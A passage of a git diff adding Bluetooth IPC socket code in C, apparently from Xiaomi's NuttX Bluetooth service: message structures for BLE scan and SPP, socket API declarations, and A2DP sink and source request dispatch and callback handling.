BT_IPC_CODE_GROUP_BLE_SCAN, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define MAX_SCAN_RESULTS_PER_PACKET 13 +#define MAX_LEGACY_SCAN_RESULTS_LENGTH 31 +#define MAX_EXT_SCAN_RESULTS_LENGTH 256 +#define SCAN_FLUSH_INTERVAL_MS 150 + + typedef union { + uint8_t status; /* bt_status_t */ + uint8_t vbool; /* boolean */ + uint8_t pad[2]; + uint64_t remote; + } bt_scan_result_t; + + typedef struct { + uint16_t count; + uint64_t scanner; + struct { + ble_scan_result_t result; + uint8_t adv_data[MAX_LEGACY_SCAN_RESULTS_LENGTH]; + } results[MAX_SCAN_RESULTS_PER_PACKET]; + } bt_message_batch_scan_result_callbacks_t; + + typedef struct { + uint64_t remote; + bt_instance_t* ins; + scanner_callbacks_t* callback; + bt_message_batch_scan_result_callbacks_t scan_result_cache; + void* flush_ctrl; + } bt_scan_remote_t; + + typedef union { + struct { + uint64_t remote; + ble_scan_settings_t settings; + } _bt_le_start_scan, + _bt_le_stop_scan, + _bt_le_start_scan_settings; + + struct { + uint64_t remote; + ble_scan_settings_t settings; + ble_scan_filter_t filter; + } _bt_le_start_scan_with_filters; + } bt_message_scan_t; + + typedef struct + { + struct { + uint64_t scanner; /* bt_scan_remote_t* */ + ble_scan_result_t result; + uint8_t adv_data[MAX_EXT_SCAN_RESULTS_LENGTH]; + } _on_scan_result_cb; + + struct { + uint64_t scanner; /* bt_scan_remote_t* */ + uint32_t status; + } _on_scan_status_cb; + + struct { + uint64_t scanner; /* bt_scan_remote_t* */ + } _on_scan_stopped_cb; + } bt_message_scan_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_SCAN_H__ */ diff --git a/service/ipc/socket/include/bt_message_spp.h b/service/ipc/socket/include/bt_message_spp.h new file mode 100644 index 0000000000000000000000000000000000000000..cdca0daee97597ad26a2b716179765b674082f71 --- /dev/null +++ b/service/ipc/socket/include/bt_message_spp.h @@ -0,0 +1,118 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_SPP_MESSAGE_START, + BT_SPP_REGISTER_APP, + BT_SPP_UNREGISTER_APP, + BT_SPP_SERVER_START, + BT_SPP_SERVER_STOP, + BT_SPP_CONNECT, + BT_SPP_DISCONNECT, + BT_SPP_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_SPP_CALLBACK_START, + BT_SPP_PROXY_STATE_CB, + BT_SPP_CONNECTION_STATE_CB, + BT_SPP_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_SPP_H__ +#define _BT_MESSAGE_SPP_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bluetooth.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_SPP_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_SPP, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_COMMAND_SPP_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_SPP, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_SPP_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_SPP, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_SPP_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_SPP, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef union { + uint8_t status; /* bt_status_t */ + uint8_t pad[3]; + uint64_t handle; + } bt_spp_result_t; + + typedef union { + struct { + uint32_t name_len; + char name[64]; + } _bt_spp_register_app; + + struct { + uint32_t handle; + bt_uuid_t uuid; + uint16_t scn; + uint8_t max_connection; + } _bt_spp_server_start; + + struct { + uint32_t handle; + uint16_t scn; + } _bt_spp_server_stop; + + struct { + uint32_t handle; + bt_address_t addr; + int16_t scn; + bt_uuid_t uuid; + uint16_t port; + } _bt_spp_connect; + + struct { + uint32_t handle; + bt_address_t addr; + uint16_t port; + } _bt_spp_disconnect; + + } bt_message_spp_t; + + typedef struct + { + struct { + uint32_t handle; + bt_address_t addr; + uint8_t state; + uint16_t scn; + char name[64]; + uint16_t port; + } _proxy_state_cb; + + struct { + uint32_t handle; + bt_address_t addr; + uint16_t scn; + uint16_t port; + uint8_t state; /* profile_connection_state_t */ + } _connection_state_cb; + } bt_message_spp_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_SPP_H__ */ diff --git a/service/ipc/socket/include/bt_socket.h b/service/ipc/socket/include/bt_socket.h new file mode 100644 index 0000000000000000000000000000000000000000..1fdb7639f474c66b3558eb560eb42ddc6769be1d --- /dev/null +++ b/service/ipc/socket/include/bt_socket.h @@ -0,0 +1,248 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_SOCKET_H__ +#define _BT_SOCKET_H__ + +#include "bluetooth.h" +#include "bt_message.h" + +#define BT_SOCKET_INS_VALID(ins, ret) \ + do { \ + if (ins == NULL) \ + return ret; \ + } while (0) + +#define BT_SOCKET_PTR_VALID(cb, ret) \ + do { \ + if (cb == NULL) \ + return ret; \ + } while (0) + +/* Macros for number of items. + * (aka. ARRAY_SIZE, ArraySize, Size of an Array) + */ + +#ifndef nitems +#define nitems(_a) (sizeof(_a) / sizeof(0 [(_a)])) +#endif /* nitems */ + +typedef struct { + void* user_data; + uv_loop_t* loop; + uv_connect_t conn_req; + + uv_pipe_t* pipe; + bt_instance_t* ins; + bt_ipc_connected_cb_t connected; + bt_ipc_disconnected_cb_t disconnected; + + bt_message_packet_t* packet; + uint32_t offset; + + bt_list_t* pending_queue; + callbacks_list_t* adapter_callbacks; + callbacks_list_t* a2dp_sink_callbacks; + callbacks_list_t* a2dp_source_callbacks; + callbacks_list_t* avrcp_target_callbacks; + callbacks_list_t* avrcp_control_callbacks; + callbacks_list_t* hfp_ag_callbacks; + callbacks_list_t* hfp_hf_callbacks; + callbacks_list_t* panu_callbacks; + callbacks_list_t* spp_callbacks; + callbacks_list_t* hidd_callbacks; + callbacks_list_t* l2cap_callbacks; + + bt_list_t* gattc_remote_list; + bt_list_t* gatts_remote_list; + +} bt_socket_async_client_t; + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define BLUETOOTH_SOCKADDR_NAME "bt:%s" +#define BLUETOOTH_SERVER_MAXCONN 10 + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +#ifdef __cplusplus +extern "C" { +#endif + +/* Client */ +typedef void (*bt_socket_reply_cb_t)(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata); +int bt_socket_async_client_init(bt_instance_t* ins, uv_loop_t* loop, int family, + const char* name, const char* cpu, int port, bt_ipc_connected_cb_t connected, + bt_ipc_disconnected_cb_t disconnected, void* user_data); +void bt_socket_async_client_deinit(bt_instance_t* ins); + +int bt_socket_client_init(bt_instance_t* ins, int family, + const char* name, const char* cpu, + int port); + +void bt_socket_client_deinit(bt_instance_t* ins); + +void bt_socket_client_free_callbacks(bt_instance_t* ins, callbacks_list_t* cbsl); + +int bt_socket_client_sendrecv(bt_instance_t* ins, + bt_message_packet_t* packet, + uint32_t code); + +int bt_socket_client_send_with_reply(bt_instance_t* ins, bt_message_packet_t* packet, + bt_message_type_t code, bt_socket_reply_cb_t reply, void* cb, void* userdata); +/* Server */ + +int bt_socket_server_init(const char* name, int port); + +int bt_socket_server_send(bt_instance_t* ins, bt_message_packet_t* packet, + uint32_t code); + +bool bt_socket_server_is_busy(void); + +/* Manager */ +void bt_socket_server_manager_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_manager_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); + +/* Adapter */ + +void bt_socket_server_adapter_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_adapter_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); + +/* Device */ + +void bt_socket_server_device_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +/*A2DP Source*/ +void bt_socket_server_a2dp_source_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_a2dp_source_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); +/*A2DP Sink*/ +void bt_socket_server_a2dp_sink_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_a2dp_sink_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); + +/* AVRCP Target */ + +void bt_socket_server_avrcp_target_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_avrcp_target_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); + +/* AVRCP Control */ +void bt_socket_server_avrcp_control_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_avrcp_control_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); + +/* HFP */ +void bt_socket_server_hfp_ag_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_hfp_ag_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); + +void bt_socket_server_hfp_hf_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_hfp_hf_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); + +/* Advertiser */ + +void bt_socket_server_advertiser_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_advertiser_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); +/* Scan */ + +void bt_socket_server_scan_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_scan_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); +/* Gatt client */ + +void bt_socket_server_gattc_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_gattc_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); +/* Gatt server */ + +void bt_socket_server_gatts_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_gatts_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); +/* Spp */ + +void bt_socket_server_spp_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_spp_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); +/* Pan */ + +void bt_socket_server_pan_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_pan_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); + +/* HID device */ + +void bt_socket_server_hid_device_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_hid_device_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); + +/* L2CAP */ + +void bt_socket_server_l2cap_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); + +int bt_socket_client_l2cap_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async); + +void bt_socket_server_log_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet); +#ifdef __cplusplus +} +#endif + +#ifdef CONFIG_NET_SOCKOPTS +void setSocketBuf(int fd, int option); +#endif + +#endif /* _BT_SOCKET_H__ */ diff --git a/service/ipc/socket/src/bt_socket.c b/service/ipc/socket/src/bt_socket.c new file mode 100644 index 0000000000000000000000000000000000000000..ba64e253d1785a0477537cfcd15f1ac7bcf03be8 --- /dev/null +++ b/service/ipc/socket/src/bt_socket.c @@ -0,0 +1,46 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#if defined(CONFIG_NET_SOCKOPTS) +void setSocketBuf(int fd, int option) +{ + int buff_size = 0; + socklen_t socklen = sizeof(int); + assert(getsockopt(fd, SOL_SOCKET, option, &buff_size, &socklen) == OK); + if (buff_size >= CONFIG_BLUETOOTH_SOCKET_BUF_SIZE) + return; + + buff_size = CONFIG_BLUETOOTH_SOCKET_BUF_SIZE; + assert(setsockopt(fd, SOL_SOCKET, option, &buff_size, sizeof(buff_size)) == OK); + assert(getsockopt(fd, SOL_SOCKET, option, &buff_size, &socklen) == OK); + assert(buff_size >= CONFIG_BLUETOOTH_SOCKET_BUF_SIZE); +} +#endif \ No newline at end of file diff --git a/service/ipc/socket/src/bt_socket_a2dp_sink.c b/service/ipc/socket/src/bt_socket_a2dp_sink.c new file mode 100644 index 0000000000000000000000000000000000000000..e17f8ce056dcbf085af584dffdb19a53da6bb4ab --- /dev/null +++ b/service/ipc/socket/src/bt_socket_a2dp_sink.c @@ -0,0 +1,209 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "a2dp_sink_service.h" +#include "adapter_internel.h" +#include "bluetooth.h" +#include "bt_a2dp_sink.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "service_loop.h" +#include "service_manager.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define CALLBACK_FOREACH(_list, _struct, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, _struct, _cback, ##__VA_ARGS__) +#define CBLIST (__async ? __async->a2dp_sink_callbacks : ins->a2dp_sink_callbacks) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) +static a2dp_sink_interface_t* get_profile_service(void) +{ + return (a2dp_sink_interface_t*)service_manager_get_profile(PROFILE_A2DP_SINK); +} + +static void on_connection_state_changed_cb(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.a2dp_sink_cb._connection_state_changed.addr, addr, sizeof(bt_address_t)); + packet.a2dp_sink_cb._connection_state_changed.state = state; + bt_socket_server_send(ins, &packet, BT_A2DP_SINK_CONNECTION_STATE_CHANGE); +} + +static void on_audio_state_changed_cb(void* cookie, bt_address_t* addr, a2dp_audio_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.a2dp_sink_cb._audio_state_changed.addr, addr, sizeof(bt_address_t)); + packet.a2dp_sink_cb._audio_state_changed.state = state; + bt_socket_server_send(ins, &packet, BT_A2DP_SINK_AUDIO_STATE_CHANGE); +} + +static void on_audio_config_changed_cb(void* cookie, bt_address_t* addr) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.a2dp_sink_cb._config_state_changed.addr, addr, sizeof(bt_address_t)); + bt_socket_server_send(ins, &packet, BT_A2DP_SINK_CONFIG_CHANGE); +} + +const static a2dp_sink_callbacks_t g_a2dp_sink_cbs = { + .size = sizeof(a2dp_sink_callbacks_t), + .connection_state_cb = on_connection_state_changed_cb, + .audio_state_cb = on_audio_state_changed_cb, + .audio_sink_config_cb = on_audio_config_changed_cb, +}; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void bt_socket_server_a2dp_sink_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet) +{ + switch (packet->code) { + case BT_A2DP_SINK_IS_CONNECTED: { + packet->a2dp_sink_r.bbool = BTSYMBOLS(bt_a2dp_sink_is_connected)(ins, + &packet->a2dp_sink_pl._bt_a2dp_sink_is_connected.addr); + break; + } + case BT_A2DP_SINK_IS_PLAYING: { + packet->a2dp_sink_r.bbool = BTSYMBOLS(bt_a2dp_sink_is_playing)(ins, + &packet->a2dp_sink_pl._bt_a2dp_sink_is_playing.addr); + break; + } + case BT_A2DP_SINK_GET_CONNECTION_STATE: { + packet->a2dp_sink_r.state = BTSYMBOLS(bt_a2dp_sink_get_connection_state)(ins, + &packet->a2dp_sink_pl._bt_a2dp_sink_get_connection_state.addr); + break; + } + case BT_A2DP_SINK_CONNECT: { + packet->a2dp_sink_r.status = BTSYMBOLS(bt_a2dp_sink_connect)(ins, + &packet->a2dp_sink_pl._bt_a2dp_sink_connect.addr); + break; + } + case BT_A2DP_SINK_DISCONNECT: { + packet->a2dp_sink_r.status = BTSYMBOLS(bt_a2dp_sink_disconnect)(ins, + &packet->a2dp_sink_pl._bt_a2dp_sink_disconnect.addr); + break; + } + case BT_A2DP_SINK_SET_ACTIVE_DEVICE: { + packet->a2dp_sink_r.status = BTSYMBOLS(bt_a2dp_sink_set_active_device)(ins, + &packet->a2dp_sink_pl._bt_a2dp_sink_set_active_device.addr); + break; + } + case BT_A2DP_SINK_REGISTER_CALLBACKS: { + if (ins->a2dp_sink_cookie == NULL) { + a2dp_sink_interface_t* profile = get_profile_service(); + ins->a2dp_sink_cookie = profile->register_callbacks(ins, &g_a2dp_sink_cbs); + if (ins->a2dp_sink_cookie) { + packet->a2dp_sink_r.status = BT_STATUS_SUCCESS; + } else { + packet->a2dp_sink_r.status = BT_STATUS_FAIL; + } + } else { + packet->a2dp_sink_r.status = BT_STATUS_SUCCESS; + } + break; + } + case BT_A2DP_SINK_UNREGISTER_CALLBACKS: { + if (ins->a2dp_sink_cookie) { + a2dp_sink_interface_t* profile = get_profile_service(); + if (profile->unregister_callbacks(NULL, ins->a2dp_sink_cookie)) { + packet->a2dp_sink_r.status = BT_STATUS_SUCCESS; + } else { + packet->a2dp_sink_r.status = BT_STATUS_FAIL; + } + ins->a2dp_sink_cookie = NULL; + } else { + packet->a2dp_sink_r.status = BT_STATUS_NOT_FOUND; + } + break; + } + default: + break; + } +} + +#endif + +int bt_socket_client_a2dp_sink_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + bt_socket_async_client_t* __async = NULL; + + if (is_async) + __async = ins->priv; + + switch (packet->code) { + case BT_A2DP_SINK_CONNECTION_STATE_CHANGE: { + CALLBACK_FOREACH(CBLIST, a2dp_sink_callbacks_t, + connection_state_cb, + &packet->a2dp_sink_cb._connection_state_changed.addr, + packet->a2dp_sink_cb._connection_state_changed.state); + break; + } + case BT_A2DP_SINK_AUDIO_STATE_CHANGE: { + CALLBACK_FOREACH(CBLIST, a2dp_sink_callbacks_t, + audio_state_cb, + &packet->a2dp_sink_cb._audio_state_changed.addr, + packet->a2dp_sink_cb._audio_state_changed.state); + break; + } + case BT_A2DP_SINK_CONFIG_CHANGE: { + CALLBACK_FOREACH(CBLIST, a2dp_sink_callbacks_t, + audio_sink_config_cb, + &packet->a2dp_sink_cb._config_state_changed.addr); + break; + } + default: + return BT_STATUS_PARM_INVALID; + } + + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_a2dp_source.c b/service/ipc/socket/src/bt_socket_a2dp_source.c new file mode 100644 index 0000000000000000000000000000000000000000..243f7e637f5e60e9e9a2947743da8b8bef694df5 --- /dev/null +++ b/service/ipc/socket/src/bt_socket_a2dp_source.c @@ -0,0 +1,214 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "a2dp_source_service.h" +#include "adapter_internel.h" +#include "bluetooth.h" +#include "bt_a2dp_source.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "service_loop.h" +#include "service_manager.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define CALLBACK_FOREACH(_list, _struct, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, _struct, _cback, ##__VA_ARGS__) +#define CBLIST (__async ? __async->a2dp_source_callbacks : ins->a2dp_source_callbacks) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) +static a2dp_source_interface_t* get_profile_service(void) +{ + return (a2dp_source_interface_t*)service_manager_get_profile(PROFILE_A2DP); +} + +static void on_connection_state_changed_cb(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.a2dp_source_cb._connection_state_changed.addr, addr, sizeof(bt_address_t)); + packet.a2dp_source_cb._connection_state_changed.state = state; + bt_socket_server_send(ins, &packet, BT_A2DP_SOURCE_CONNECTION_STATE_CHANGE); +} + +static void on_audio_state_changed_cb(void* cookie, bt_address_t* addr, a2dp_audio_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.a2dp_source_cb._audio_state_changed.addr, addr, sizeof(bt_address_t)); + packet.a2dp_source_cb._audio_state_changed.state = state; + bt_socket_server_send(ins, &packet, BT_A2DP_SOURCE_AUDIO_STATE_CHANGE); +} + +static void on_audio_config_changed_cb(void* cookie, bt_address_t* addr) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.a2dp_source_cb._audio_config_state_changed.addr, addr, sizeof(bt_address_t)); + bt_socket_server_send(ins, &packet, BT_A2DP_SOURCE_CONFIG_CHANGE); +} + +const static a2dp_source_callbacks_t g_a2dp_source_cbs = { + .size = sizeof(a2dp_source_callbacks_t), + .connection_state_cb = on_connection_state_changed_cb, + .audio_state_cb = on_audio_state_changed_cb, + .audio_source_config_cb = on_audio_config_changed_cb, +}; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void bt_socket_server_a2dp_source_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet) +{ + switch (packet->code) { + case BT_A2DP_SOURCE_IS_CONNECTED: { + packet->a2dp_source_r.bbool = BTSYMBOLS(bt_a2dp_source_is_connected)(ins, + &packet->a2dp_source_pl._bt_a2dp_source_is_connected.addr); + break; + } + case BT_A2DP_SOURCE_IS_PLAYING: { + packet->a2dp_source_r.bbool = BTSYMBOLS(bt_a2dp_source_is_playing)(ins, + &packet->a2dp_source_pl._bt_a2dp_source_is_playing.addr); + break; + } + case BT_A2DP_SOURCE_GET_CONNECTION_STATE: { + packet->a2dp_source_r.state = BTSYMBOLS(bt_a2dp_source_get_connection_state)(ins, + &packet->a2dp_source_pl._bt_a2dp_source_get_connection_state.addr); + break; + } + case BT_A2DP_SOURCE_CONNECT: { + packet->a2dp_source_r.status = BTSYMBOLS(bt_a2dp_source_connect)(ins, + &packet->a2dp_source_pl._bt_a2dp_source_connect.addr); + break; + } + case BT_A2DP_SOURCE_DISCONNECT: { + packet->a2dp_source_r.status = BTSYMBOLS(bt_a2dp_source_disconnect)(ins, + &packet->a2dp_source_pl._bt_a2dp_source_disconnect.addr); + break; + } + case BT_A2DP_SOURCE_SET_ACTIVE_DEVICE: { + packet->a2dp_source_r.status = BTSYMBOLS(bt_a2dp_source_set_active_device)(ins, + &packet->a2dp_source_pl._bt_a2dp_source_set_active_device.addr); + break; + } + case BT_A2DP_SOURCE_SET_SILENCE_DEVICE: { + packet->a2dp_source_r.status = BTSYMBOLS(bt_a2dp_source_set_active_device)(ins, + &packet->a2dp_source_pl._bt_a2dp_source_set_silence_device.addr); + break; + } + case BT_A2DP_SOURCE_REGISTER_CALLBACKS: { + if (ins->a2dp_source_cookie == NULL) { + a2dp_source_interface_t* profile = get_profile_service(); + ins->a2dp_source_cookie = profile->register_callbacks(ins, &g_a2dp_source_cbs); + if (ins->a2dp_source_cookie) { + packet->a2dp_source_r.status = BT_STATUS_SUCCESS; + } else { + packet->a2dp_source_r.status = BT_STATUS_FAIL; + } + } else { + packet->a2dp_source_r.status = BT_STATUS_SUCCESS; + } + break; + } + case BT_A2DP_SOURCE_UNREGISTER_CALLBACKS: { + if (ins->a2dp_source_cookie) { + a2dp_source_interface_t* profile = get_profile_service(); + if (profile->unregister_callbacks(NULL, ins->a2dp_source_cookie)) { + packet->a2dp_source_r.status = BT_STATUS_SUCCESS; + } else { + packet->a2dp_source_r.status = BT_STATUS_FAIL; + } + ins->a2dp_source_cookie = NULL; + } else { + packet->a2dp_source_r.status = BT_STATUS_NOT_FOUND; + } + break; + } + default: + break; + } +} + +#endif + +int bt_socket_client_a2dp_source_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + bt_socket_async_client_t* __async = NULL; + + if (is_async) + __async = ins->priv; + + switch (packet->code) { + case BT_A2DP_SOURCE_CONNECTION_STATE_CHANGE: { + CALLBACK_FOREACH(CBLIST, a2dp_source_callbacks_t, + connection_state_cb, + &packet->a2dp_source_cb._connection_state_changed.addr, + packet->a2dp_source_cb._connection_state_changed.state); + break; + } + case BT_A2DP_SOURCE_AUDIO_STATE_CHANGE: { + CALLBACK_FOREACH(CBLIST, a2dp_source_callbacks_t, + audio_state_cb, + &packet->a2dp_source_cb._audio_state_changed.addr, + packet->a2dp_source_cb._audio_state_changed.state); + break; + } + case BT_A2DP_SOURCE_CONFIG_CHANGE: { + CALLBACK_FOREACH(CBLIST, a2dp_source_callbacks_t, + audio_source_config_cb, + &packet->a2dp_source_cb._audio_config_state_changed.addr); + break; + } + default: + return BT_STATUS_PARM_INVALID; + } + + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_adapter.c b/service/ipc/socket/src/bt_socket_adapter.c new file mode 100644 index 0000000000000000000000000000000000000000..dd45a1f678c35200c024973cbf82d335716ca5a5 --- /dev/null +++ b/service/ipc/socket/src/bt_socket_adapter.c @@ -0,0 +1,669 @@ +/**************************************************************************** + * service/ipc/socket/src/bt_socket_adapter.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the 